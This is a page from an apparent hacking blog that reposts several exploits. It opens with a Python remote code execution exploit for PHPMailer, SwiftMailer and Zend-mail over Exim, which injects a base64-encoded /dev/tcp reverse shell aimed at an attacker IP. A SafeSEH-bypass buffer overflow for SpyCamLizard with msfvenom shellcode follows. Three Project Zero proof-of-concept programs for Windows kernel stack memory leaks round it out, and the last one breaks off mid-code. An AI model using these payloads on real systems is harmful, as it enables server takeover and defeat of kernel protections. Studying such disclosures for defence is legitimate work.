Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863138702

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/python
#
# Exploit Title: [RCE for PHPMailer < 5.2.20 with Exim MTA]
# Date: [16/06/2017]
# Exploit Author: [@phackt_ul]
# Software Link: [https://github.com/PHPMailer/PHPMailer]
# Version: [< 5.2.20]
# Tested on: [Debian x86/x64]
# CVE : [CVE-2016-10033,CVE-2016-10074,CVE-2016-10034,CVE-2016-10045]
#
# @phackt_ul - https://phackt.com
# 
# Find the last updated version here: https://raw.githubusercontent.com/phackt/pentest/master/exploits/rce_phpmailer_exim.py
# 
# All credits go to Dawid Golunski (@dawid_golunski) - https://legalhackers.com
# and its research on PHP libraries vulns
#
# PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
# PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) - escapeshellarg() bypass
# SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
# Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
#
# ExploitBox project:
# https://ExploitBox.io
#
# Full advisory URL:
# https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
# https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html
# http://pwnscriptum.com/
#
# --------------------------------------------------------
# Enhanced for Exim MTA
# 
# N.B: 
# The original author's method in the PHPMailer POC (for sendmail MTA) uses the RFC 3696 
# double quotes technique associated with the -oQ -X options to log mailer traffic and to create 
# the backdoor. This technique is not facing some payload size issues because the payload 
# was in the email body.
#
# For Exim:
# The original author's Wordpress 4.6 POC for Exim combines the comment syntax (RFC 822)
# and the Exim expansion mode techniques. The use of substr on spool_directory and tod_log 
# expansion variables in order to bypass the PHP mail() escaping may leads to large 
# email addresses payloads. However the comment syntax validateAddress() technique does not 
# face any size limitation but its use can not be applied for PHPMailer < 5.2.20.
#
# Goal:
# The use of double quotes validateAdresse() technique (and it's patch bypass for PHPMailer < 5.5.20) 
# combined with the Exim expansion mode technique may leads to large payloads quickly facing addresses
# size limit here (260 chars) and so not matching the pcre8 regexp in the validateAddress() function.
# We are now base64 encoding the command in order to bypass escapeshellcmd() and allowing larger payloads.
# 
#
# Usage:
# ./rce_phpmailer_exim4.py -url http://victim/phpmailer/ -cf contact_form.php -ip 192.168.1.109 -p 1337
#
#
# Requirements:
# - Vulnerable PHP libraries
# - Exim MTA Agent
#
# 
# Disclaimer:
# For testing purposes only on your local machine - http://pwnscriptum.com/PwnScriptum_PHPMailer_PoC_contactform.zip

import argparse
import urllib
import urllib2
import base64

# Prepare command for Exim expansion mode in order 
def prepare_cmd(cmd):
    return '${run{${base64d:%s}}}' % base64.b64encode(cmd)

# Send Request method
def send_request(req):
    try:
        urllib2.urlopen(req)
    except urllib2.HTTPError, e:
        print "[!] Got HTTP error: [%d] when trying to reach " % e.code + req.get_full_url() + " - Check the URL!\n\n"
        exit(3)
    except urllib2.URLError, err:
        print "[!] Got the '%s' error when trying to reach " % str(err.reason) + req.get_full_url() + " - Check the URL!\n\n"
        exit(4)

# Parse input args
parser = argparse.ArgumentParser(prog='rce_phpmailer_exim4.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit for Exim4 based on LegalHackers sendmail version')
parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True,  help='WebApp Base Url')
parser.add_argument('-cf',  dest='CONTACT_SCRIPT',  required=True,  help='Contact Form scriptname')
parser.add_argument('-ip',  dest='ATTACKER_IP',    required=True,  help='Attacker IP for reverse shell')
parser.add_argument('-p',   dest='ATTACKER_PORT',  required=False, help='Attackers Port for reverse shell', default="8888")
parser.add_argument('--post-action', dest='POST_ACTION',  required=False, help='Overrides POST "action" field name',         default="send")
parser.add_argument('--post-name',   dest='POST_NAME',    required=False, help='Overrides POST "name of sender" field name', default="name")
parser.add_argument('--post-email',  dest='POST_EMAIL',   required=False, help='Overrides POST "email" field name',          default="email")
parser.add_argument('--post-msg',    dest='POST_MSG',     required=False, help='Overrides POST "message" field name',        default="msg")
args = parser.parse_args()

CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT

# Show params
print """[+] Setting vars to: \n
WEBAPP_BASE_URL      = [%s]
CONTACT_SCRIPT       = [%s]
ATTACKER_IP          = [%s]
ATTACKER_PORT        = [%s]
POST_ACTION          = [%s]
POST_NAME            = [%s]
POST_EMAIL           = [%s]
POST_MSG             = [%s]
""" % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.ATTACKER_IP, args.ATTACKER_PORT, args.POST_ACTION, args.POST_NAME, args.POST_EMAIL, args.POST_MSG)

# Ask for mail library
print "[+] Choose your target / payload: "
print "\033[1;34m"
print "[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)"
print "    SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)"
print "    Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n"
print "[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) - escapeshellarg() bypass"
print "\033[0m"

try:
    target = int(raw_input('[?] Select target [1-2]: '))
except ValueError:
    print "Not a valid choice. Exiting\n"
    exit(2)

if (target>2):
    print "No such target. Exiting\n"
    exit(3)

################################
# Payload
################################
cmd = "/bin/bash -c '0<&196;exec 196<>/dev/tcp/%s/%s;nohup sh <&196 >&196 2>&196 &'" % (args.ATTACKER_IP, args.ATTACKER_PORT)
prepared_cmd = prepare_cmd(cmd)

payload = '"a\\" -be ' + prepared_cmd + ' "@a.co'

# Update payloads for PHPMailer bypass (PHPMailer < 5.2.20)
if target == 2:
    payload = "\"a\\' -be " + prepared_cmd + " \"@a.co"

################################
# Attack episode
# This step will execute the reverse shell
################################

# Form fields
post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: 'Really important message'}

# Print relevant information
print "\n[+] Executing command on victim server\n"
print '[!] command: [%s]' % cmd
print '[!] payload: [%s]' % payload
print '[!] post_fields: [%s]\n' % str(post_fields)

data = urllib.urlencode(post_fields)
req = urllib2.Request(CONTACT_SCRIPT_URL, data)
send_request(req)

print "\033[1;32m[+] You should check your listener and cross the fingers ;)\033[0m\n"
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1177

According to our tests, the generic exception dispatching code present in the Windows kernel (Windows 7-10) discloses portions of uninitialized kernel stack memory to user-mode clients via the CONTEXT structure set up for the ring-3 exception handlers.

The attached proof-of-concept program can be used to reproduce the issue. It works by first spraying a full page of the kernel stack with a 0x41 byte ('A') using the nt!NtMapUserPhysicalPages system call (see [1]), then also spraying a page of user-mode stack (to recognize any false-positives) with a 0x78 ('x') byte, followed by raising an exception with a RaiseException() call and dumping the contents of the CONTEXT structure provided to the unhandled exception filter function. After running the program, we should observe the 'A' byte on output in place of disclosed kernel memory.

On most tested platforms (Windows 7 64-bit, Windows 10 32/64-bit), running the 32-bit proof-of-concept program reveals 4 bytes of kernel stack memory at offset 0x88 of the structure. An example output is as follows:

--- cut ---
00000000: 7f 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 7f 02 00 00 ................
00000020: 00 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00[41 41 41 41]2b 00 00 00 ........AAAA+...
00000090: 53 00 00 00 2b 00 00 00 2b 00 00 00 50 fe 32 00 S...+...+...P.2.
000000a0: 84 fd 32 00 00 e0 fd 7e 00 00 00 00 85 3c 1d 59 ..2....~.....<.Y
000000b0: 1c fd 32 00 6c fd 32 00 4f c5 72 75 23 00 00 00 ..2.l.2.O.ru#...
000000c0: 46 02 00 00 1c fd 32 00 2b 00 00 00 7f 02 00 00 F.....2.+.......
000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000e0: 00 00 00 00 80 1f 00 00 ff ff 00 00 00 00 00 00 ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002c0: 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ................
--- cut ---

Offset 0x88 of the CONTEXT structure on x86 corresponds to the 32-bit CONTEXT.FloatSave.Cr0NpxState field, which appears to remain in an uninitialized state before being copied to user-mode. We have tested that with the kernel stack spraying disabled, these bytes contain varying values originating from the kernel memory space.

On Windows 7 32-bit, we're observing a slightly different output:

--- cut ---
00000000: 7f 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 7f 02 00 00 ................
00000020: 00 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 3b 00 00 00 23 00 00 00 23 00 00 00 0c fe 2a 00 ;...#...#.....*.
000000a0: 40 fd 2a 00 00 f0 fd 7f 74 6c 8e 77 89 bb c8 38 @.*.....tl.w...8
000000b0: d8 fc 2a 00 28 fd 2a 00 5d 84 c3 75 1b 00 00 00 ..*.(.*.]..u....
000000c0: 46 02 00 00 d8 fc 2a 00 23 00 00 00 7f 02 00 00 F.....*.#.......
000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000e0: 00 00 00 00 80 1f 00 00 ff ff 00 00 00 00 00 00 ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002a0: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA
000002b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000002c0: 41 41 41 41 41 41 41 41 41 41 41 41 ?? ?? ?? ?? AAAAAAAAAAAA....
--- cut ---

Here, we can see that 32 bytes from the kernel stack are leaked at the end of the CONTEXT structure, which correspond to the last bytes of the CONTEXT.ExtendedRegisters array. We have confirmed that when the spraying function is not invoked, this memory region discloses valid kernel-mode pointers.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
    PVOID BaseAddress,
    ULONG NumberOfPages,
    PULONG PageFrameNumbers
);

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[4096];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
  
  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

VOID SprayUserStack() {
  // Buffer allocated from the user-mode stack.
  BYTE buffer[4096];
  MyMemset(buffer, 'x', sizeof(buffer));
}

LONG WINAPI MyUnhandledExceptionFilter(
  _In_ struct _EXCEPTION_POINTERS *ExceptionInfo
  ) {
  PrintHex((PBYTE)ExceptionInfo->ContextRecord, sizeof(CONTEXT));
  return EXCEPTION_CONTINUE_EXECUTION;
}

int main() {
  SetUnhandledExceptionFilter(MyUnhandledExceptionFilter);

  SprayKernelStack();
  SprayUserStack();

  RaiseException(1337, 0, 0, NULL);

  return 0;
}
            
#!/usr/bin/python

###############################################################################
# Exploit Title:        SpyCamLizard v1.230 Remote Buffer Overflow (SafeSEH Bypass)
# Date:                 20-06-2017
# Exploit Author:       @abatchy17 -- www.abatchy.com
# Vulnerable Software:  SpyCamLizard
# Vendor Homepage:      http://www.spycamlizard.com/
# Version:              1.230
# Software Link:        http://spycamlizard.com/SpyCamLInstaller.exe
# Tested On:            WinXP SP3 x86
#
# Credit to ScrR1pTK1dd13 for discovering the PoC (41667).
#
##############################################################################

import socket
import sys

host = "127.0.0.1"
port = 80

nSEH = "\xeb\x10\x90\x90"

# -----------------------------------------------------------------------------------------------------------------------------------------
#  Module info :
# -----------------------------------------------------------------------------------------------------------------------------------------
#  Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
# -----------------------------------------------------------------------------------------------------------------------------------------
#  0x10000000 | 0x100d6000 | 0x000d6000 | False  | True    | False |  False   | False  | 1.0.0.1 [ZTcore.dll] (C:\Program Files\SpyCam Lizard\ZTcore.dll)
#  0x00400000 | 0x006ea000 | 0x002ea000 | False  | False   | False |  False   | False  | 1.230 [SCLiz.exe] (C:\Program Files\SpyCam Lizard\SCLiz.exe)
# -----------------------------------------------------------------------------------------------------------------------------------------
# 
# Sine 1) SCLiz.exe always has a null byte for any address, 2) partial overwrite didn't work and 3)ZTcore.dll had SafeSEH enabled, none of the addresses in these modules could be used.
# Luckily the output of "!mona seh -all" contained this entry and seemed to always work for WinXP SP3 x86 (kinda awful being on heap but seems to work):
# 0x01726017 : call dword ptr ss:[ebp-18] | ascii {PAGE_READWRITE} [Heap]
# This won't work on later versions of Windows thanks to ASLR
SEH = "\x17\x60\x72\x01"

llamaleftovers = (
    # Since we used call dword ptr ss:[ebp-18] instead of POP POP RET, we can POP 4 times to get the current location.
    # Now EAX contains address of instruction jumped to right after executing call dword ptr ss:[ebp-18]
    "\x58\x58\x58\x58"  
    "\x05\x55\x55\x55\x55"  # add EAX, 0x55555555
    "\x05\x55\x55\x55\x55"  # add EAX, 0x55555555
    "\x05\x56\x56\x55\x55"  # add EAX, 0x55555656 -> EAX = oldEAX + 0x100, shellcode generated should start exactly at EAX as we're using the x86/alpha_mixed with BufferRegister to get a purely alphanumeric shellcode
)

# msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -e x86/alpha_mixed BufferRegister=EAX -f python
# Payload size: 440 bytes
buf =  ""
buf += "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += "\x59\x6c\x6a\x48\x6f\x72\x57\x70\x77\x70\x75\x50\x71"
buf += "\x70\x4d\x59\x79\x75\x66\x51\x6b\x70\x53\x54\x4e\x6b"
buf += "\x30\x50\x66\x50\x6c\x4b\x76\x32\x34\x4c\x4c\x4b\x31"
buf += "\x42\x77\x64\x6e\x6b\x51\x62\x75\x78\x66\x6f\x68\x37"
buf += "\x52\x6a\x56\x46\x76\x51\x69\x6f\x6e\x4c\x37\x4c\x75"
buf += "\x31\x73\x4c\x54\x42\x54\x6c\x51\x30\x4a\x61\x6a\x6f"
buf += "\x36\x6d\x36\x61\x68\x47\x69\x72\x79\x62\x50\x52\x73"
buf += "\x67\x6c\x4b\x32\x72\x56\x70\x4e\x6b\x30\x4a\x57\x4c"
buf += "\x6e\x6b\x52\x6c\x46\x71\x44\x38\x59\x73\x30\x48\x47"
buf += "\x71\x58\x51\x43\x61\x4e\x6b\x52\x79\x71\x30\x45\x51"
buf += "\x48\x53\x4e\x6b\x67\x39\x44\x58\x79\x73\x54\x7a\x50"
buf += "\x49\x6c\x4b\x65\x64\x4c\x4b\x76\x61\x39\x46\x44\x71"
buf += "\x69\x6f\x6c\x6c\x4f\x31\x78\x4f\x56\x6d\x76\x61\x38"
buf += "\x47\x44\x78\x79\x70\x51\x65\x6b\x46\x57\x73\x53\x4d"
buf += "\x68\x78\x65\x6b\x73\x4d\x56\x44\x73\x45\x5a\x44\x70"
buf += "\x58\x6e\x6b\x61\x48\x35\x74\x66\x61\x6b\x63\x30\x66"
buf += "\x6c\x4b\x34\x4c\x70\x4b\x4e\x6b\x46\x38\x75\x4c\x63"
buf += "\x31\x78\x53\x4c\x4b\x35\x54\x4e\x6b\x55\x51\x6e\x30"
buf += "\x4d\x59\x77\x34\x44\x64\x74\x64\x31\x4b\x51\x4b\x70"
buf += "\x61\x70\x59\x71\x4a\x42\x71\x39\x6f\x4b\x50\x53\x6f"
buf += "\x71\x4f\x62\x7a\x4e\x6b\x35\x42\x6a\x4b\x6c\x4d\x63"
buf += "\x6d\x73\x5a\x33\x31\x6e\x6d\x6c\x45\x58\x32\x45\x50"
buf += "\x35\x50\x55\x50\x56\x30\x42\x48\x56\x51\x4e\x6b\x62"
buf += "\x4f\x6e\x67\x49\x6f\x6e\x35\x4d\x6b\x4a\x50\x6f\x45"
buf += "\x69\x32\x71\x46\x45\x38\x6e\x46\x6e\x75\x4f\x4d\x6f"
buf += "\x6d\x69\x6f\x6b\x65\x67\x4c\x57\x76\x31\x6c\x46\x6a"
buf += "\x4b\x30\x6b\x4b\x4d\x30\x70\x75\x75\x55\x4f\x4b\x71"
buf += "\x57\x46\x73\x51\x62\x52\x4f\x51\x7a\x55\x50\x70\x53"
buf += "\x59\x6f\x58\x55\x50\x63\x63\x51\x30\x6c\x72\x43\x74"
buf += "\x6e\x65\x35\x44\x38\x71\x75\x33\x30\x41\x41"

junk1 = "A" * 1173
junk2 = "B"*16
junk3 = "C"*213
junk4 = "D"*3000

exploit = junk1 + nSEH + SEH + junk2 + llamaleftovers + junk3 + buf + junk4

httpsocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
httpsocket.connect((host,port))
httpsocket.send("GET " + exploit + " HTTP/1.0\r\n\r\n")
httpsocket.close()
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1178

We have discovered that it is possible to disclose portions of uninitialized kernel stack memory in Windows 7-10 through the win32k!NtGdiExtGetObjectW system call (accessible via a documented GetObject() API function) to user-mode applications.

The reason for this seems to be as follows: logical fonts in Windows are described by the LOGFONT structure [1]. One of the structure's fields is lfFaceName, a 32-character array containing the typeface name. Usually when logical fonts are created (e.g. with the CreateFont() or CreateFontIndirect() user-mode functions), a large part of the array remains uninitialized, as most font names are shorter than the maximum length. For instance, the CreateFont() API only copies the relevant string up until \0, and leaves the rest of its local LOGFONT structure untouched. In case of CreateFontIndirect(), it is mostly up to the caller to make sure there are no leftover bytes in the structure, but we expect this is rarely paid attention to. The structure is then copied to kernel-mode address space, but can be read back using the GetObject() function, provided that the program has a GDI handle to the logical font.

Now, it turns out that the trailing, uninitialized bytes of the LOGFONT structure for some of the stock fonts contain left-over kernel stack data, which include kernel pointers, among other potentially interesting information. An example output of the attached proof-of-concept program (which obtains and displays the LOGFONT of the DEVICE_DEFAULT_FONT stock font) started on Windows 7 32-bit is as follows:

--- cut ---
00000000: 10 00 00 00 07 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: bc 02 00 00 00 00 00 ee 01 02 02 22 53 00 79 00 ..........."S.y.
00000020: 73 00 74 00 65 00 6d 00 00 00 29 92 24 86 6d 81 s.t.e.m...).$.m.
00000030: fb 4d f2 ad fe ff ff ff 63 76 86 81 76 79 86 81 .M......cv..vy..
00000040: 10 38 c7 94 02 00 00 00 00 00 00 00 01 00 00 00 .8..............
00000050: d0 03 69 81 10 38 c7 94 04 7a 00 00 ?? ?? ?? ?? ..i..8...z......
--- cut ---

After the "System" unicode string, we can observe data typical to a function stack frame: a _EH3_EXCEPTION_REGISTRATION structure at offset 0x28:

.Next             = 0x9229???? (truncated)
.ExceptionHandler = 0x816d8624
.ScopeTable       = 0xadf24dfb
.TryLevel         = 0xfffffffe

as well as pointers to the ntoskrnl.exe kernel image (0x81867663, 0x81867976, 0x816903d0) and paged pool (0x94c73810). This information is largely useful for local attackers seeking to defeat the kASLR exploit mitigation, and the bug might also allow disclosing other sensitive data stored in the kernel address space. We have confirmed that more data can be easily leaked by querying other stock fonts. It is unclear whether disclosing junk stack data from other user-mode processes which create logical fonts is possible, but this scenario should also be investigated and addressed if necessary.
*/

#include <Windows.h>
#include <cstdio>

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  // Get a handle to the stock font.
  HFONT hfont = (HFONT)GetStockObject(DEVICE_DEFAULT_FONT);
  if (hfont == NULL) {
    printf("GetCurrentObject failed\n");
    return 1;
  }

  // Zero-out the logfont memory to prevent any artifacts in the output.
  LOGFONT logfont;
  RtlZeroMemory(&logfont, sizeof(logfont));

  // Trigger the bug.
  if (GetObject(hfont, sizeof(logfont), &logfont) == 0) {
    printf("GetObject failed\n");
    DeleteObject(hfont);
    return 1;
  }

  // Dump the output on screen.
  PrintHex((PBYTE)&logfont, sizeof(logfont));

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1179

We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 7-10 through the win32k!NtGdiGetOutlineTextMetricsInternalW system call.

The system call returns an 8-byte structure back to ring-3 through the 4th parameter, as evidenced by the following assembly code (win32k.sys from Windows 7 32-bit):

--- cut ---
.text:BF87364A                 mov     edx, [ebp+arg_C]
.text:BF87364D                 lea     ecx, [edx+8]
.text:BF873650                 mov     eax, _W32UserProbeAddress
.text:BF873655                 cmp     ecx, eax
.text:BF873657                 ja      short loc_BF873662
.text:BF873659                 cmp     ecx, edx
.text:BF87365B                 jbe     short loc_BF873662
.text:BF87365D                 test    dl, 3
.text:BF873660                 jz      short loc_BF873665
.text:BF873662
.text:BF873662 loc_BF873662:
.text:BF873662                 mov     byte ptr [eax], 0
.text:BF873665
.text:BF873665 loc_BF873665:
.text:BF873665                 lea     esi, [ebp+var_24]
.text:BF873668                 mov     edi, edx
.text:BF87366A                 movsd
.text:BF87366B                 movsd
--- cut ---

However, according to our experiments, only the first 4 bytes of the source structure (placed on the kernel stack) are initialized under normal circumstances, while the other 4 bytes are set to leftover data. In order to demonstrate the issue, we have created a proof-of-concept program which sprays 1024 bytes of the kernel stack with a 0x41 ('A') byte directly prior to triggering the vulnerability, with the help of the win32k!NtGdiEngCreatePalette system call. Then, the DWORD leaked via the discussed vulnerability is indeed equal to 0x41414141, as evidenced by the PoC output:

--- cut ---
C:\>NtGdiGetOutlineTextMetricsInternalW_stack.exe
Data read: 41414141
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

// Own implementation of memset(), which guarantees no data is spilled on the local stack.
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Windows 7 32-bit.
  CONST ULONG __NR_NtGdiEngCreatePalette = 0x129c;

  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[1024];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  SystemCall32(__NR_NtGdiEngCreatePalette, 1, sizeof(buffer) / sizeof(DWORD), buffer, 0, 0, 0);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  // Windows 7 32-bit.
